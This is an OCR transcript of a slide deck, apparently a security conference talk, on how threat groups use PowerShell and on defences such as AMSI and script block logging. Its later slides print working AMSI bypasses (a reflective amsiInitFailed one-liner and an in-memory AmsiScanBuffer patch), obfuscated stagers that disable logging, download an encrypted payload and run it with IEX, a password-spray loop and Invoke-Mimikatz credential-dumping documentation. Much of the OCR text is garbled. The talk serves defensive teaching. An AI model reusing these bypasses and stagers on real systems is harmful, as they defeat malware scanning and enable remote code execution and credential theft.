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Aren’t PowerShell Attacks Dead?

“Offensive PowerShell is Dead”
“Why don’t you just use C#”

“Script Block Logging makes
PowerShell Attacks impossible”

“AMSI is going to catch
offensive scripts”
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...0bviously dead

EDITORS' PICK | 2,024 views | Jan 9, 2020, 08:47am EST ﬂ Forbes

Windows Security: Russian lleless PowerShell technique \windows Security: Russian Cybercrime Group Is Using
) PowerShell-Based Backdoor

Cybercrlme Group IS USlng Ed _a n:w Monet'_ro cryp;oourren_clzyt!"n ... Russian Cybercrime Group Is Using PowerShell-Based Backdoor ... a
PowerShell— BaSEd Badeoor - fnjection, Tun-lime code Complation y».o dows PowerShell-based backdoor called PowerTrick in attacks ...

B BleepingComputer tp Threatpost
Hackers use fake Windows error logs to hide malicious S = Sodinokibi Ransomware Now Scans Networks For PoS
payload Systems

... a malicious payload designed to prepare the ground for script-based o _ f" The compromise of PoS software — which is commonly installed on credit

attacks. The trick is part of a longer chain with intermediary PowerShell ... card ... They also used encoded PowerShell commands, which is a ...

3 weeks ago IT Security Central

@ [TProPortal Challenges Facing Sensitive Sectors in Working Securely

How cybercriminals used Covid-19-themed spam to from Home
spread dangerous Emotet malware If any of these three conditions have been compromised, then we may be ...

... banking or credit card account credentials from compromised hosts. ... a system admins disable Powershell and macros in Office products.
PowerShell script that is used to compromise the victim's computer. 23ho I TechRadar

B BleepingComputer @l " Hackers are using this strange technique to launch attacks

Evil Corp blocked from deploying ranst - against Windows devices
Defending Against The New Rea A new attack technique has been discovered by Huntress Labs .. it is used
to execute a VBScript to start PowerShell and run a command in it.

... and PowerShell scripts downloaded from attact Aftacks
on how a WastedLocker attack unfolds and indica The website initiates Adobe Flash, a comr 3 weeks ago
2 weeks ago PowerShell and uses the command line to feed it instructions, all ...

May 4, 2020




What is PowerShell?

Gives Full .NET Access o ou Rt
. . B Brian in Pittsburgh
Direct access to Win32 API @ @arekfurt

- Red teams and MS:
Operates In Memory Powershell abuse is totally played out. Glad that

Installed by default in Windows [kt

. : - Real world criminal groups and most APT attackers:
Ad mins typlca l Iy Ieave It STILL POWERSHELL ALL DAY BABY
enabled

(Meaning: actually make sure you have PS abuse well-
defended before you worry about the latest C#
hotness.)

«s= ClearSky Cyber Security @ClearskySec - Dec 23, 2019

#0ilRig targets LANDesk Agent users via PowDesk - New PowerShell-based
malware resembles QUADAGENT.

PowDesk checks for the presence of LANDesk Agent folder and service before
C&C beacon.

Full analysis coming soon.

virustotal.com/gui/file/8406c...
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Timeline of PowerShell

PowerShell vl — 2006
= Released for XP SP2, Server 2003 SP1 & Vista

PowerShell v2 — 2008

" ntegrated into Windows 7 & Server 2008

" Introduced a bunch of new features such as PS remoting and background
jobs

= Essentially no protections

TrustedSec (David Kennedy & Josh Kelley) give their PowerShell:

It’s time to own... talk — 2010



Timeline of PowerShell

PowerShell v3 — 2012

" Introduction of module logging
= PowerSploit first published
" Metasploit exec_powershell published

PowerShell v4 — 2013

" Rudimentary Script Block Logging
introduced

" PowerView — 2014

=PowerUp — 2014
= Cobalt Strike PowerShell execution

L)
v Blserumiy,

LR



Time

ine of PowerShell

PowerShe
= PowerShe

v5 —2015/2016
| <3 the Blue Team — 2015

Introduction of modern PowerShell Defenses

AMSI!

" PowerShell Empire — 2015
" PowerPick — 2015




Who is Using Offensive PowerShell Still?

APT3 FINS Cobalt Group

APT19 FIN10 DarkHydrus

ﬁ;gg 2‘5‘(5)953 Deep Panda

NPT T6.3390 Dragonfly 2.0

APT33 Turla Gallmaker

APT41 CopyKittens ~ ~G0rgon Group

FING Bronze Butler °Kimsuky

FIN7 menuPass Leviathan a fl

OilRig Patchwork Magic Hound amflnnzvnecrlglloymg a
Thrlp | azarus GFOUp I\/IuddyWater "" recover from this
WIRTE Stealth Falcon . pgseidon Group

Temp.Veles  Soft Cell
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Researching the Threat

Database of adversary TTPs
" Adversary Behaviors MITRE | ATTRCK oo, “ora o T e

ATT&CK sub-techniques have now been released! Take a tour, read the blog post or release notes, or see the previous version of the site.

" Cyber Threat Intelligence

PRE-ATT&CK

l ' S e d b . Enterprise Enterprise Matrix View on the ATT&CK®
. Navigat
y L] Windows Below are the tactics and techniques representing the MITRE ATT&CK® Matrix for Enterprise. The avigsiere

Matrix contains information for the following platforms: windows, macOs, Linux, AWS, GCP, Azure, About the Enterprise domain
Azure AD, Office 365, SaaS.

" Private Industry -

Mobile layouts ¥ show sub-techniques  hide sub-techniques

®Governments

macOS

Initial Access Execution Persistence Privilege Defense Evasion Credential Discovery Lat
Escalation Access Move

(]
. O e n S O rC e O m m n It 9 techniques £ 18 techniques 12 techniqu 34 technigues 14 techniques 24 techniques 9 techn
i\ E ( Exploita

Attack.MITRE.org

Compromis
Client
Binary

ploitation for Group Policy
i Modification

Tl N
£ g_‘!| N CrrniT
IR IELURTI




What are APTs using PowerShell For?

Command and Control (C2)
DLL Hijacking

Keylogging

_ateral Movement

Privilege Escalation
Credential Harvesting
Active Directory Exploitation

I'IIWEII 1 PowerSploit
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Offensive PowerShell

90% of targeted attacks used

Scripting

P O W e rS h e I | _ SEOUR S ooy /T— Disabling Security Tools

System Owner/User Discovery N \

Registry Run Keys/Start Folder

689% increase in targeted -
PowerShell Attacks —

50-70% targeted attacks
observed PowerShell — ﬂgﬂﬁ}w[s

PowerShell

Hidden Files
and Directories

Command-Line

Machine Interface
Learning

Malware

Credential Dumping

7 12


https://www.carbonblack.com/blog/carbon-black-global-threat-report-the-year-of-the-next-gen-cyberattack/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-quarterly-threats-july-2020.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

APT33

Suspected Iranian threat group

Target Aerospace and Energy
industries

Typically employ:
"Empire

" PowerSploit

" Mimikatz

" PoshC2
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APT33

Excerpt of APT 33 malicious .hta file from

p——
EEriin

F ”IIH/

el S I/
LS 1]
VAR LRI

# Please Wait. Loading ...

<h1>Please Wait. Loading ... </h1>

<head>
<title>Supply Specialist , Riyadh, Alsalam Aircraft Company</title>
</head>

<script>

a=new ActiveXObject("WScript.Shell");

a.run("%windir%\\System32\\cmd.exe /c powershell -window hidden —enc <redacted encoded
command>', 0);

</script>

14


https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

WastedLocker Ransomware

Evil Corp Group / Dridex

Leverages Cobalt Strike &
PowerView

= Also contains PowerShell, JavaScript,
and .Net

PSExec is used to launch

PowerShell and the

WastedLocker Ransomware

Resulted in the theft of
>$100 million
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Active Directory Server Breach

Nippon Telegraph &
Telephone (NTT)

[ | May 7’ 2020 — IntrUSion OVERSEAS SERVICE |[MANAGEMENT NTT (INTERNAL) 1,
Occurred .
*May 11, 2020 — Intrusion =
Detected T @
Attackers targeted both ' _ | | ...

on-premise machines and @ @ i @

ClOUd environments nnnnnnnnnnnnnn

16



Active Directory Server Breach

Used phishing to get an initial foothold
" Domain information
=Social Media

Password spray attack to get access to the cloud server

Lol

17



Active Directory Server Breach

Brute-force attack on user

1 |PS C:\> Get-AzureADUser | Where {$_.DirSyncEnabled -eq $true} | Select -Property DisplayName,UserPrinci
2 | ,DirSyncEnabled,LastDirSyncTime | ft -auto
3
a CCO u n tS O n Se rve r A 4 | DisplayName UserPrincipalName DirSyncEnabled LastDirSyncTime
5 _________________________________________________________
6 | Aaron Gardiner aaron.gardiner@i True 18/19/2017 1:56:83 PM
7 | Adam Wally adam. wally S True 16/19/2017 1:56:03 PM

=Server A is a privileged production
server
Extracted passwords from o
LSASS and remote session to
get remote access to AD server

Added backdoor into AD server

RNING:

"https:

> vee
ps.outlook.com/PowerShell-LiveID?PSVe

Import-module MSOnline Part of the script
$username = "jenghga.onmicrosoft.con”

$x=0

foreach($password in get-content password_list.txt)
Attempt #2 o ~
[Trying password Password@123 _ . 5)‘-5)(#1,
WARNING: Your connection has been redirected to the followingEiSiERItEaleligEs S

'https://ps.outlook.com/PowerShell-LiveID?PSversion=5.1.14409

Write-host "Trying password $password"
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otel Chain Attack

Detected malicious activity on
their network

Used GitHub to download
payload

. reported other APTs
using this method in 2020

Key traits
" Completely un-obfuscated
" Basic evasion techniques

Activity was almost waived off

as internal Red Team practicing

IRl
iz lS il

< C @ rawgithubusercontent.com/BC-SECURITY/Empire/master/data/module_sour...

function Invoke-Mimikatz

This script leverages Mimikatz 2.2.80 and Invoke-ReflectivePEInjection to reflectively
memory. This allows you to do things such as

dump credentials without ever writing the mimikatz binary to disk.

The script has a Computerhame parameter which allows it to be executed against multipl

This script should be able to dump credentials from any version of Windows through Wind
or higher installed.

Function: Invoke-Mimikatz

Author: Joe Bialek, Twitter: @JosephBialek

Mimika Author: Benjamin DELPY “gentilkiwi®. Blog: http://blog.gentilkiwi.com. Email:
Twitter @gentilkiwi

License: http://creativecommons.org/licenses/by/3.8/fr/

Required Dependencies: Mimikatz (included)

Optional Dependencies: MNone

Mimikatz version: 2.2.8 208260519 ()

.DESCRIPTION

Reflectively loads Mimikatz 2.2.8 in memory using PowerShell. Can be used to dump cred
anything to disk. Can be used for any

functionality provided with Mimikatz.

.PARAMETER DumpCreds

Switch: Use mimikatz to dump credentials out of LSASS.

.PARAMETER DumpCerts

Switch: Use mimikatz to export all private certificates (even if they are marked non-ex

.PARAMETER Command

Supply mimikatz a custom command line. This works exactly the same as running the mimik
mimikatz "privilege::debug exit" as an example.



https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

ow do | mitigate the Threats?

PowerShell protections are eliminating many of the
advantages of the tradecraft

"AMSI

=Script Block Logging . MITIGATION
*"Module Logging o o : £
"EDR “

These are also starting to be el N
incorporated into .Net Y
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What Is AMSI?

The (AMSI) is a versatile
interface standard that allows your applications and services to

integrate with any antimalware product that's present on a
machine. AMSI provides enhanced malware protection for your
end-users and their data, applications, and workloads.

Anti Malware Scan Interface

PowerShell v5 Anti-Malware
Scan Interche System ManagementAutomation.dil

Windows 10

Allows Windows Defender and third
party Anti-virus solutions access the
script code

Provides:
Memory and Stream scanning

De-obfuscated plain code

Detect C# .NET usage of the PowerShell assembl

pr——
ol

|'lf|*/
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https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-interface-portal

AMSI Data Flow

A

MsMpEng-exe
WINDOWS DEFENDER SERVICE

WIN32 API LAYER

COM API LAYER

AV PROVIDER LAYER

A

:@J Blsecuriiy, 22



That’s Great But What Does that Mean?

Evaluates commands at run time

Handles multiple scripting
languages (PowerShell, JavaScript,

VBA)

As of .NET 4.8, integrated into CLR
and will inspect assemblies when
the load function is called

Provides an API that is AV agnostic
Identify fileless threats

AMSI integration with JavaScript/VBA

l{__ ."‘ i |  EEFIIRITL
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Fragility of AMSI Detections

ferroractionPreference = "silentlyContinue”;
il F].AsSeMBLY. GELTYPE( 'System.Management. Automation. Utils"). "GeTFie LD" (' cachedGrouprolicysettings’, 'N'+ onPublic,static’);

7.cETvalue(Snull);

['scripté'+ lockLogging'1){

["scriptB’+ " lockLogging']['Enablescripte’+ " lockLogging' ]1=0;
escriptelo

[ T, I ST R

ADD(' EnabW_er1pTB +'10cFLDgg1ng ,0); $vaL. ipt <InvocationLogging' ,0);
$6c4 [ 'HKEY_LOCAL_MACHIN _ftharu,PG11cie_ icros W ershe criptB'+  lockLogging' J=%val

SCcriPTBLOCK]. "GETFiE Ld" ('signatures’, "N '+ 'onPublic,static’).setvalue(inuLl, (New-OBEjecT CoLlecTioNs.GENErIC. HASHSeT [STRINg]))

I

$ref=[REF].AsSEmMbLY.GeTTypE (' System.Management. Automation.amsi’'+'utils’);

SREF.GETFIelD( amsiInitF '+ 'ailed’, "NonPublic,static’).seTvaTuE(SnuL]1,3tRUE);

tha0=New-0BjeCt SYsteM.NeT.weBCLIENT;

="Mozil1a/5.0 (Windows NT 6.1; ; i » rv:11.0) Tlike Gecko’;

tser=8([TEXT.ENCODING] : :UniCodE. GETS TrINg([CUN»ErT FROMBasEG4STring (" aABOAHQACAABACSALW. kaMgAuADEANgAL ACA AMQAL ADMAL gAXADMAOAABADgAMgA=
i ser-Agent 1)
( SYSTEM. NeT. WEBRequest]: .DEfauLtWEBPrD

$6a0. PROXy.CredeNTtiALS STEM. NeT. CRHDuNtIA1LHcHe] :DeFaUulTNETWorkCREdeNtIAlS;

EM. TEXT. ENLoniug] ASCTT. GETBYtEs (' Y%Gb>=0if]L,Tazdw. [)TyRZE3IW*|xe:"
=$ARgs; $5=0. $I=($I+35[S_J+3K[3 .COUNT] )%256;

gGaFlYDTyWT—ﬁQUDG;q;EY}*KwEvawanWDgNyr— y;
$BA0. DawnLOaDDatA(EHer it);

$daTa-fdATa[4 $daTa. LEngtH];
—JO1H[CH&P[]]L“ $R $DaTtA (3IV+3iK))|IEX

[FYRTYETY Y]

Co
Pars ’
script C:"_:'IH—' alicilousContent

24



Fragility of AMSI Detections

$ErrorActionPreference = "silentlyContinue";
$REf=[ReF] .ASsembly.GEtTyPe('System.Management.Automation.Amsi' '+ 'Utils"');
$REF.GEtFieLD('amsiInitF'+'ailed', "NonPublic,static').setvAlue($NULL, $True);
$K=[syYstem.Text.Encoding]: :ASCII.GetBYTeS(' ' 1qI.viv4{un#decR,z6~1Y0j=3hAKNAL");

- $R={9%D, $k=3ArGs;$s=0..255;0..255|%{$3=C33+9S[S_T+SK[$_%%K.COUNT])%256;$s[$_1,9s[$31=%s[%$3]1,%s[$_1%;

$D|%{ST=(31+1)%256; SH=($H+3s[$1])%256;3sS[$1],$S[SH]1=3S[$H],$S[$1];3_-BxORSS[($S[$T]+3S[SH]1D%256]}};

$bad=[system.Net.webClient]: :new();

$u="Mozi11a/5.0 (Windows NT 6.1; wow64; Trident/7.0; rv:11.0) like Gecko';

$ser=$([Text.ENCoDINg] : :UNICODE.GEtSTrING([CONVERt]: : FromBase64STRiNg('aABOAHQACAABGACSALWAXADKAMgAUADEANgA4AC4AMgAXA

$t="/login/process.php’;

$bad.HEaDErs.Add('User-Agent ', $u);

$Bad.PROXy=[SyStem.NET.WEBReQUESt] : :DefaUulTwWEbProxy;

$Bad.PROXy.CREDENtIALS = [SYStEM.NeT.CREdEnTIalcCacCHe]: :DEfAULTNEtwoRKCredENTiAlS;

$script:Proxy = $bad.Proxy;

1
2
3
4
5
6
7
8
9

$script:Proxy = $bad.Proxy;

$Bad.HeaDers.Add("cookie", "kMvkQaMd 1 dupmz=9GoxSgjox5vIignx2ksezx9uytz0=") ;
$DAb=%bad.pownl10oadDATA($ser+5t);

$1v=%DAb[0..3];

$DAb=%dab[4..%dAb.LEnGTh];

-join[chAar[]1]1(& $R $Dab ($1IVv+$K))|IEX

"é&{] BUsEcuniiy, 25
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Script Block Logging

First introduced in PowerShell v4 but was rudimentary

v5 introduced “Deep Script Block Logging”
" Follows execution down through multiple levels

Event ID — 4104

## Malware function SuperDecrypt{ param(Sscript)

## XOR "encryption”
counter++)

—
I3

AT =)

LEUIIA

Compiling Scriptblock text (1 of 1)
function SuperDecrypt { param($script)
$bytes = [Convert]:FromBase&4String($script)

## XOR "encryption” $xorKey = 0x42 for($counter = 0; Scounter -It $bytes.Length;
$counter++) { Shytes[$counter] = $bytes[$counter] -bxor $xorKey }

[System.Text.Encoding]:Unicode.GetString($bytes) }
ScriptBlock ID: ad8ae740-1f33-42aa-8dfc-1314411877e3
Compiling Scriptblock text (1 of 1)

$decrypted = SuperDecrypt "FUIwQitCNkInQm39CCkItQjFCNIiQmVCEkI1QixClkJIQg

ScriptBlock ID: ba11c155-d34c-4004-88e3-6502ech50f52

Compiling Scriptblock text (1 of 1):

Invoke-Expression $decrypted

ScriptBlock ID: 856c01ca-85d7-4989-b47f-e6a0%eedeeh3
Compiling Scriptblock text (1 of 1)

Write-Host ‘Pwnd’

ScriptBlock ID: 5e618414-4e77-48e3-8f65-9a863f54b4c8




Module Logging

Introduced in PowerShell v3
Nearly impossible to not hit
completely un-obfuscated

" Can be disabled with an
Event Tracing Bypass

Event ID — 4103

Produces A LOT of alerts

. : Invoke-Mimikatz produces
2,285 events generating 7MB of logs

f 2 |
 #
) BLsEmIy,

Operational MNumber of events: 152 (!) New events available

Date and Time Source

Event 4103, PowerShell (Microsoft-Windows-PowerShell)
General  Details

Commandlnvecation(Mew-Object): "Mew-Object”
ParameterBinding(Mew-Object): nam ypeName"; value="5System.MNet.WebClient"

Context:

Severity = Infermational

Host Name = ConsoleHost

Host Version = 5.1.18362.752

Host ID = b13-d0fa-44e7. a%a48cd08856

Host Application = C\Windows\System32\WindowsPowerShell\w1.0\powershell.exe -noP -sta -w 1 -enc
SOBmMACgAIAAKAFAAUWBWAGUAUgBzAGKAbWBOAFQAQOBIAGWARCAUAFAAUWBWAEUAcgBTAEKALWBOACAATOBBAEoATWByACA
QAUAECARQBUAFQAQBWAEUAKAAGACAAKAAGAC cAUWANACAAKWAGAC cAeQBzACCAIAATACAAIAANAHOAZ OBLACAAIWATACAA)
tAGEAdABpAGEAbgAUAFUAdABPAGWACWARACKAKQAUACIARWBFAFQARGBpAEUAYABSAEQAIgACACAAIAACACCAYWBhAGMARABIA
sAIAAgACCADAANACSAIAANAGKABgBnAHMAIWAPACWAIWBOACCAIAAGACSAIAACACAAIWBVAGAAIWATACAAIAANAFAADOANACSALS
ADsASOBGACgAIAAgACOANGBDAEUAMAAGACAAKOBTACOADABGAGIAYQAIACAAAAIAEMAZ QAWACSARWBFAHOAV gBBAGWAL
BjACcAKwAgACcAcgBpACCAIAATACAAIAANAHAAABCAC cAIAAGACKAKWAGACAAKAAGACAAIWBSACcAKWARAGEAYWEBIAEWAbWEN
WwAoACcAUWBjAHIAAQANACAAKwWAGACCACABOAC CAIAAGACSAIAANAEIAIwAgACAAKQAGACAAKWACACAAIAANAGWAbWB]ACCAIA
ACAAKwAGACAAIWBIAGWAZ OANACsAIWBTAGMACgBpACCAIAATACcACABOAEI AIwAPACSAIAAGAC gAIAARAGWAIWAGACAAKwAGACY
AALAGYAY gBhAFSAKAAQACAAIWBTAGMACgBpAHAAIWAIAC cADABCAC cAKOAGACAAKWAGACAAKAAgACAAIWESAGEAYWEBIAEWAD:
nAEUAbgBhAGIABABIAFMAY wANRACAAKWAGACAAIWBYAGKACABIAEIABABVAC cAIAAGACSAIWBAGSAIWAGACAAKWAGACCASQANACS
whAgACCAZWBNAGKAbgANACAAKWAGACCAZWANACKAXOQAGACAAPQAGADAAFOAKAFYAYOBMACAAPOAGAFSACQWBVAGWATABFAEM
gBJAG4ARwWASAFMAeOBZAHOAZOBMNACAATWBIAGOAROBDAFQAXOBdADoADgBOAGUAVWACATAAIAAGACKADWAKAFYACOBMACAA
BCACCAIAAGACKAIAATACgAIAANAGWAIWATACAAIAANAGEAYWBrAEWABWBRAGcAlwAgACsAIwBpAGAAZWARACAAIAAPACWAMAAGA
AAIWBIACCAKwAACAAIWBTAGMACgBpAHAAJABCAGWAbWEjAGSAIWAgACAAKWAGACCASOBUAHY AbwEAGEAdABPACCAIAATACAY
AgADsAIAAgACQAODABmMAGIAQOBbACAKAAQACAAIWBIAESAIwAgACSAIWBFAFKAXWBMAESAQWEBBAEWAXWANACSAJWBNAEEACWE
JwiAgACsAIAAgACcABAANACSAIwBpAGMAaQBIAHMARGBIAEEATOANACAAKwWAGACAAWBPpAGMACgBVACcAIAAGACSAIAAGAC cACw,
CcAUABVAHCAZOANACAAKwWANAHIAUWBoACCAIAAACAAIWBIAGWADBABGACAIAAGACSAIAANAEgAQOBTACcAKWANAGMAIWATATA

Log Mame: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind  Logged: T/18/2020 10:36:18 PM
Event ID: 4103 Task Category:  Executing Pipeline
Level: Information Keywords: Mone

User: DESKTOP-D2VCNGG\Ben Computer DESKTOP-D2VCNGG

OpCode: To be used when operation i

More Information:  Event Log Online Help

27


https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Powershell Logging

Would make a bad day for red teams...if organizations actually used
it properly.
= Alert fatigue

Administrators using “sketchy” scripts

Deep script block logging can result in multiple alerts for a single script execution
= FireEye: Invoke-Mimikatz produces 116 events totaling 5SMB.

= |f start/stop event logging is enabled that jumps to 96K+ events totaling 50MB
" Bypasses are still effective

i N
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Recommended Settings

Where possible, recommends ® | REALLY/LIKE LOGS
enabling all three log sources:

" Module Logging
=Script Block Logging
®"Transcription

Unique data recorded by each source

“In environments where log sizes cannot be significantly
increased, enabling script block logging and transcription will
record most activity, while minimizing the amount of log data
generated. At a minimum, script block logging should be enabled,
in order to identify attacker commands and code execution.”

kY | BLsecumiy
=S
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https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Mitigating the Mitigations

AMSI Bypasses
Obfuscation
Keyword Obfuscation

Script Block Logging Bypasses
Event tracing Bypasses

(% -
;{éf}J BLSEGuRITY,
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Reflective Bypass

Simplest Bypass that currently works

SRef=[REF].Assembly.GetType('System.Management.Automation.AmsiUtils');
SRef.GetField('amsilnitFailed’, 'NonPublic, Static').SetValue(SNULL, STRUE);

. % Matt Graeber .
e Following

[Ref].Assembly.GetType('
Automation.AmsiUtils').GetField('amsilnitF
ailed','NonPublic,Static').SetValue($null,$true

)

24 71 O RO 0 S

=

o
i
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Patching AMSI.dIl in Memory

More complicated bypass, but still allows AMSI to load

=1$MethodDefinition = @'
[DT1Import("kernel32"™, charset=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule,string procName):

[D1TImport("kernel132.d11", charset=Charset.Auto)]
public static extern IntPtr GetModuleHandle(string 1pModuleName) ;

[D1TImport("kernel132")]
public static extern bool virtualProtect(IntPtr 1pAddress, uUIntPtr dwSize, uint fINewProtect, out uint TpfloldProtect);
'@

1
2
3
4
5
6
7
8
9

$Kernel32 = Add-Type -MemberDefinition S$MethodDefinition -Name ‘Kernel32’ -Namespace ‘win32’ -PassThru
$ASBD = "Amsis"+"canBuffer"”

$handle = [win32.Kernel32]::GetModuleHandle("amsi.d11™)

[IntPtr]$BufferAddress = [wWin32.Kernel32]: :GetProcAddress($handle, $ASBD)

[uInt32]%$size = 0x5

[uInt32]$%ProtectFlag = 0x40

[uInt32]$oldpProtectFlag = 0

[Win32.Kernel32]::virtualProtect($BufferAddress, $size, $ProtectFlag, [Ref]$0ldProtectFlag)
$buf = new-object byte[] 6

$buf[0] [uInt32]0xB8

$buf[1] [uInt32]0x57

$buf[2] [UInNt32]0x00

$buf[3] [uint32]0x07

$buf[4] [Uint32]0x80

$buf[5] [uint32]0xc3

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)




Why does this work?

* AMSI.dll is loaded into the
same memory space as
PowerShell.

" Unrestricted access to the memory
space where AMSI runs

= Can modify it however we please

*Tells the function to return a
clean result prior to scanning

¥ BYPASSED

B .}v\ ¢
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Obfuscation

Still extremely effective

Comes at a cost:

" Complexity of the payload

®Can add a significant amount of size

= Takes time to encode every command
"Can be defeated if analyzed at the end

>

[*1
[*]
[*1
[*1
[*1
[*]
[*1
[*1
[*]
[*1
[*1
[*1

Choo

[*1
[*1
[*]
[*1
[*1
[*1

Administrator: Windows PowerShell

T i

P 7 N A RV A U A Y
ANV B A VA A A A A A R | 7
7 i F_f I F .

PR Y A Y R Ay
PV AV AV SRV AV A A A B B S S S B SR Y SN
FAEF T I b P i F o YI_ T F i Frirrritr
L AP 2 A W A A W . WY A W A A W A A A

MENU :: Available options shown below:

Tutorial of how to use this tool
Show this Help Menu

Show options for payload to obfuscate
Clear screen

Execute ObfuscatedCommand locally

TUTORTAL

HELP,GET-HELP, ?,- 2, /2, MENU
SHOW OPTIONS,SHOW,OPTIONS
CLEAR, CLEAR-HOST,CLS

EXEC, EXECUTE, TEST, RUN

Copy ObfuscatedCommand to clipboard CoPY,CLIP,CLIPBOARD
Write ObfuscatedCommand Qut to disk ouT
Rezet ALL obfuscation for ObfuscatedCommand RESET
Undo LAST obfuscation for ObfuscatedCommand UNDO
Go Back to previous obfuscation menu BACK,CD .
Quit Invoke-Obfuscation QUIT,EXIT
Return to Home Menu HOME , MATN
se one of the below options:
TOKEM Obfuscate PowerShell command Tokens
AST Obfuscate PowerShell Ast nodes
STRING Obfuscate entire command as a String
ENCODING Obfuscate entire command via Encoding
COMPRESS Convert entire command to one-liner and Compress

LAUNCHER Obfuscate command args w/launcher

techniques {run ocnce at end)
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Obfuscation

UN-OBFUSCATED OBFUSCATED

seT-item ('v'+'aRI'+'Ab'+'LE:rk9o'+'Vc') ( [TYPel("{1H{12}{6}{3}{s}{11}{0}{8}{5}{10}{7}{9}{2}"
,'b','.",'CtionaRy[','L')) ;$x5teH8 = [tYpel("{o}{1}{2}{3}" -F 'sc’, 'R*,'i', 'Ptblock’ ) SEt- ITEm
aRIAble ( KY"+"f") ( [TypEl("{5}{1}{4}{0}{3}{2}{6}"-F'VICEpOInT', 'neT.S', 'ge", 'MaNA"','er', 'SYSTEM.
I','nG','Te')) ; set-vARiaBLE ('z'+'ap5') ([typel("{0}{1}{2}" -f'CON','v','erT')) ; $Ac5 = [Typel
'{1}{0}{2}' -f '37G','bw','3') ([TyPel("{1}{2}{s4}{5}{3}{0}" —f'NtiAchcHe','s','ys','e','Te','M.NEt.-
YStem', 'TEXT.eN', 'ING', 'coD','.")) ;If(${Psv eRS"IoN TA™ BLe} PSVeR sI” On MA jOR" —gE 3){${6 ce0}=
H2HsHo}{5{1}{7}{s}{6}" -f'at','on.', 'em.Management."','t",'til', 'i','s','v'," Autom', 'Sys'))."GetFI

IF($PSVersIonTABLe.PSVErSIoN.MAJOr -ge 3){$6Ce0=[rEF].ASSEmblY.GeTTYPe('System.Management .Automs g“g*(tézﬁﬁ}gﬁﬁ{a‘;_?tZ'g‘iﬁg“Etifoﬁ‘ )];’{%%SIEéﬁ‘?(cfgﬂ;ﬁg}m?}sﬁgg.f‘f’;.E.E%f%}}g{“‘;{é

PolicySettings','N'+'onPublic,Static');IF($6Ce0){$8FBa=$6Ce0.GETVALUE($nuLL);If($8FfBA['ScriptB'4 E')+( {231} 0}" —F'oine' 'cklog' '1o')]1=0:$I8 FbAM ("{21{@}{ 1} "—F 'ip' 'tB' 'Scr')+("{2}{ot{1}" -
Logging']['EnableScriptB'+'lockLogging'1=0;$8fbal 'ScriptB'+'lockLogging' ][ 'EnableScriptBlockInvc eSc',')gEnf,]'.iigt{: 2 Ena'?'k%n\;o','ignl’_og',')éloc’jf'cat'TFé'g]lé}Hv%Alh 2Rk90vc,::('{1;{gj}i LE ].'iw?,.n
enERic.DICtIonArY[stRInG,SySteM.0BJECT]] :: neW();$VaL.Add('EnableScriptB'+'lockLogging',@);$VAL.A g} _f'tg', 'p’ ' eScri','Ena','bl')+('{2}{3}{1}{0}' -f 'ng','gi', 'lockL','0g'),0);${V AL}.("{0}{1}"-F
g',0);$8Fba[ 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLog , *ionLogging’, ‘at’ ,'1','able', 'ockI', 'nv','En'),0);${8F Ba}[((("{18}{12}{13}{3}{15}{10} {16} {14} {2} {1}
e Ld"('signatures', 'N'+'onPublic,Static').SetValUE($nuLl, (New-ObjecT COLLECTIons.GeNeric.HasHSET L_','icro', 'iptB"', sof','Sh','s{@}M','ows{@}','H','t{@}wind','KEY','_LUC','E{@}Sof','MAC','IN','Power
E('System.Management.Automation.Amsi'+'Utils');$Ref.GEtFIEld( 'amsiInitF'+'ailed’, 'NonPublic,Stat NE ${V AL}}ELsE{ ( varIaBlE ("{1}{@}" -f'h8','X5Te') ).VALUE."GETFIe ld"(("{1}{0}{2}"-f 'natur',’'si:
NET.SERVICePOIntMaNaGeR] :: Expect100CoNtINuE=0; $AeFb=New-0BJect SysTEM.Net.WEbCLIENt;$u='Mozilla/ ."STetv ALuE" (${nu"LL}, (. ("{1}{0}{2}" -f'0', 'New-','BjEcT') ("{2}{3}{6}{0}{4}{5}{1}"-f '.G', '[string]
.0; rv:11.0) like Gecko';$ser=$([TExt.ENCODING] :: UNiCODE.GETSTRING([COnvERt] :: FROMBaSe64StRing('  abLE ("0f*+"Y8") ).value."ASse'MBLy".("{0}{1}" -f'GETT','ypE').Invoke(("{6}{0}{2}{4}{1}{5}{3}"-f Man
C4AMQAZADKALGA4ADAAOZAGADYAMWA=")));$t="/news.php' ; $aEFb.HeAderS.Add( 'User-Agent',$u);$aeFb.Prox  ils','U’));$ir eF}-('{@}{2}{1}'—f 'GeTFI','1d’, 'E').Invoke(("{2}{1}H0}" -f 'itF','iln’, 'ams’)+("{0}{1

PROXy ; $aEFB. ProxY.CrEdeNtIALs = [SYSTEm.Net.CReDENTiaLCAche] :: DEfAULtNetWorKCREdeNTiAls;$Script:  0H1}" -f ‘vaLu’ 'SET'). I““°“e(${N‘U1L}:${U‘"UE}) }; (Get-ChilditeM ('v'+'aRIAB'+'Le:KYf') ).VALI
nCOdINg] :: ASCIT.GETByTes( ' /ZbuV;D[5tpyG, : oHnjCxd-ATg+ERN® ' ); $R={$D, $K=$ARGs; $5=0 .. 255;0.. 255 %{  * W' Lﬁe{éi?}f?}igie nf{;}";B;le g L A )i HU} (tg}és}f_i}{?}ﬁ”l{__u}{g}{18%{@}?{’
[$_1, $S[$31=8S087], $SL$_1}:D|%{$1=($T+1)%256; $H=($H+$S$T1 %256 ; $SEST], SSTSAI=SISI, SISTI; 8 13T oy TE 200 e 0 ML ZEl- S Bl e a0 L D o e ey 7 oMM s 1t o
